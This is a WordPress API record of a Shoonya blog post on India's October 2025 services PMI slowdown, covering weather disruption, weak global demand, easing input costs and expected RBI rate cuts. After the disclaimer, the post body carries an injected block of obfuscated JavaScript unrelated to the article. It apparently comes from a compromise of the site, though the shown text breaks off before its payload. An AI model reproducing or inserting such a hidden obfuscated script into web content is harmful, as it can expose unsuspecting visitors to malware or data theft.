{"id":15592,"date":"2025-11-07T07:55:36","date_gmt":"2025-11-07T07:55:36","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=15592"},"modified":"2025-11-07T07:55:37","modified_gmt":"2025-11-07T07:55:37","slug":"india-services-sector-growth","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/india-services-sector-growth\/","title":{"rendered":"October PMI Data Shows Sluggish Momentum in India\u2019s Services Sector"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/india-services-sector-growth\/#PMI_Index_Indication\" >PMI Index Indication<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/india-services-sector-growth\/#Global_Demand_Slowdown\" >Global Demand Slowdown<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/india-services-sector-growth\/#Some_Sigh_of_Relief\" >Some Sigh of Relief<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/india-services-sector-growth\/#Rate_Cut_Expectations\" >Rate Cut Expectations&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/india-services-sector-growth\/#Overall_Economic_Scenario\" >Overall Economic Scenario<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/india-services-sector-growth\/#Wrapping_up\" >Wrapping up&nbsp;<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>October PMI Data Shows Sluggish Momentum in India\u2019s Services Sector<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>India\u2019s service sector<\/strong> is one of the predominant sectors in the country, and the very same sector has been witnessing a slowdown for the past few months. In October, this sector slowed down to an even five-month low, mainly affected by unfavorable weather conditions. Also, excessive competition has hindered <strong>India\u2019s service growth <\/strong>momentum of the past few months.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-pmi-index-indication\"><span class=\"ez-toc-section\" id=\"PMI_Index_Indication\"><\/span>PMI Index Indication<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong>HSBC India Services PMI, <\/strong>which<strong> <\/strong>is compiled by S&amp;P Global, dropped to 58.9 in October 2025, from September\u2019s 60.9, indicating the slowdown in the service sector. This has been the slowest month since May; however, the index remained over the 50-mark, and this is the 51<sup>st<\/sup> month of continuous growth with no contraction in between. While there might be a short-term slowdown in October, the overall demand has been resilient so far, pushing the index upward.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The index report suggests that the slowdown in the service sector has been a result of multiple floods, landslides, and other weather-led disasters. The weather conditions were too poor and uncertain during October, which hindered business growth. These poor weather conditions, coupled with fierce competition in the market, restricted businesses from growing efficiently.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-global-demand-slowdown\"><span class=\"ez-toc-section\" id=\"Global_Demand_Slowdown\"><\/span>Global Demand Slowdown<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The global demand slowed down to a 7-month low, hindering the export businesses, and this further slowed the growth of the service sector.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The business confidence was also down to a 3-month low, and the hiring activities stayed muted. The job creation hit an 18-month low as well during October.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-some-sigh-of-relief\"><span class=\"ez-toc-section\" id=\"Some_Sigh_of_Relief\"><\/span>Some Sigh of Relief<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">While the overall growth slowed down during October in India\u2019s services sector, there has been some relief, mainly coming from the price front. The input cost grew at the slowest pace since August 2024, mainly driven by reductions in the GST. This in turn let the businesses increase their output prices at a 7-month slowest pace as the inflationary pressure also drops.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-rate-cut-expectations-nbsp\"><span class=\"ez-toc-section\" id=\"Rate_Cut_Expectations\"><\/span>Rate Cut Expectations&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">As per experts, this slowdown in the <strong>Indian services sector growth<\/strong> and the slower growth in price increase can lead to policy rate cuts by the RBI. This is also anticipated due to the <strong>retail inflation<\/strong> being down to an 8-year low of 1.54% in September.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-overall-economic-scenario\"><span class=\"ez-toc-section\" id=\"Overall_Economic_Scenario\"><\/span>Overall Economic Scenario<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">On the other hand, the <strong>HSBC India Composite PMI,<\/strong> which takes into account both manufacturing and services, also dipped to 60.4 in October from 61 in September, and this is also a 5-month low. However, the manufacturing sector grew and orders came in at a robust pace, which didn\u2019t let the overall index drop drastically.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-wrapping-up-nbsp\"><span class=\"ez-toc-section\" id=\"Wrapping_up\"><\/span><strong>Wrapping up&nbsp;<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Slowdown in <strong>India\u2019s services sector<\/strong> is not that common in India, as it is one of the <strong>dominant sectors,<\/strong> but the global slowdown has been taking a toll on the business growth for some time now, and in October, it got coupled with unfavorable weather conditions, leading to more sluggish growth.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/www.cnbctv18.com\/economy\/india-services-growth-pmi-cools-to-five-month-low-in-october-ws-l-19744721.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">CNBC TV18<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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In October, this sector slowed down to an even five-month low, mainly affected by unfavorable weather conditions. Also, excessive competition has hindered India\u2019s service growth momentum of the &hellip; <a href=\"https:\/\/shoonya.com\/blog\/india-services-sector-growth\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;October PMI Data Shows Sluggish Momentum in India\u2019s Services Sector&#8221;<\/span><\/a><\/p>\n","protected":false},"author":17,"featured_media":15601,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[8777,8776,8773,8775,8774,8772,4571],"class_list":["post-15592","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-dominant-services-sector","tag-economy-services-growth","tag-hsbc-india-services-pmi","tag-india-services-pmi","tag-india-services-sector-growth","tag-indias-services-growth","tag-retail-inflation"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>India&#039;s Services Sector Growth Slows to 5-Month Low<\/title>\n<meta name=\"description\" content=\"India\u2019s services sector grew at the slowest pace in the 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